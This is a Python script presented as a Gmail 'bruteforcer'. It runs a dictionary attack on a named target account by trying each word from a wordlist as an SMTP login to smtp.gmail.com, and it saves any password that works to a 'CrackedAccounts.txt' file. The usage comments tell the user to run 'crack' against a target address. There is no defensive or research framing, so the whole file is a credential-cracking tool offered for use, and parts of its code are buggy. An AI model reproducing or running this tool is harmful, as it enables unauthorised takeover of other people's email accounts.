Python 3.x Gmail Bruteforcer

# Made by Michael Kofph
# USAGE:
#   You will need to create a .txt file with the words you're trying to crack with
#   That .txt file will act as a dictionary for the attack.
#   In order to begin the attack, type "crack your.target@gmail.com" (<-- example)
# This is Python 3.5, so you will need to download Python 3.x, not 2.x#############
# No additional libraries used.########################################
################################
import smtplib,os;
from tkinter import *
savecrack = "CrackedAccounts.txt"
if not os.path.isfile(savecrack):
    newf = open(savecrack,'w')
    newf.close()
class common:
    def get_file_len(fname):
        try:
            with open(fname) as f:
                for i, l in enumerate(f):
                    pass
                return i + 1;
        except:
            print((">> %s is empty!") % fname);
            return 0;
class new:
    def listclone(org,new):
        if os.path.isfile(new):
            os.remove(new);
        if os.path.isfile(org):
            orig = open(org,'r');
            dataf = str(orig.read());
            orig.close()
            #####
            nouw = open(new,'w');
            nouw.write(dataf);
            nouw.close()
            return new;
    ##############################################################################################
    ##    ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~   ##
    ##############################################################################################
class crack:
    class gmail:
        def attemptlogin(usr,pww):
            global savecrack;
            extractedPw = None;
            try:
                server = smtplib.SMTP('smtp.gmail.com:587')
                server.starttls()
                try:
                    server.login(usr,pww)
                    pxw = ('\n'+"!- ::username:"+usr+"::password:"+pww+"::")
                    with open(savecrack,'a+') as tempers:
                        tempers.write(pxw)
                        tempers.close()
                        pww = (("\n!-Cracked password for [%s]! Password is [%s]-!") % (usr,pww));
                    return pww;  # Correct password
                except:
                    return None; # Incorrect password
                server.quit()
            except:
                return "ERROR while attempting a password-!"; # An error occurred
    class lists:
        def makeguess(dictnry):
            results = None;
            def choice_next(dicfile):
                dictnry_file = open(dicfile,'r');
                for line in dictnry_file:
                    updated_data = dictnry_file.read()
                    updated_data.replace(line,"");
                    dicr = open(dicfile,'w');
                    dicr.write(updated_data);
                    dicr.close()
                    return line;
            results = choice_next(dictnry);
            return results;

        def attack(pwlist,user):
            global appendix;
            try:
                for i in range(0,common.get_file_len(pwlist)):
                    NewWord = crack.lists.makeguess(pwlist);
                    if "\n" in NewWord:
                        NewWord = NewWord.replace("\n","");
                    print(("::attempting password:[%s] on user:[%s]") % (NewWord,user))
                    if user.endswith("@gmail.com"):
                        logintry = crack.gmail.attemptlogin(user,NewWord);
                    else:
                        print("Unrecognized softw");
                        return None;
                    if logintry != None:
                        return logintry;
            except:
                print(">> An error occurred");
            return "No matching passwords";
    ##############################################################################################

while True:
    mimput = input(">>");
    if "crack" in mimput:
        cleaned = mimput.replace("crack ","")
        xx = crack.lists.attack( new.listclone( "Dictionary.txt", "roaming.txt" ) , cleaned);
        print(xx);
    else:
        print("Unrecognized ..");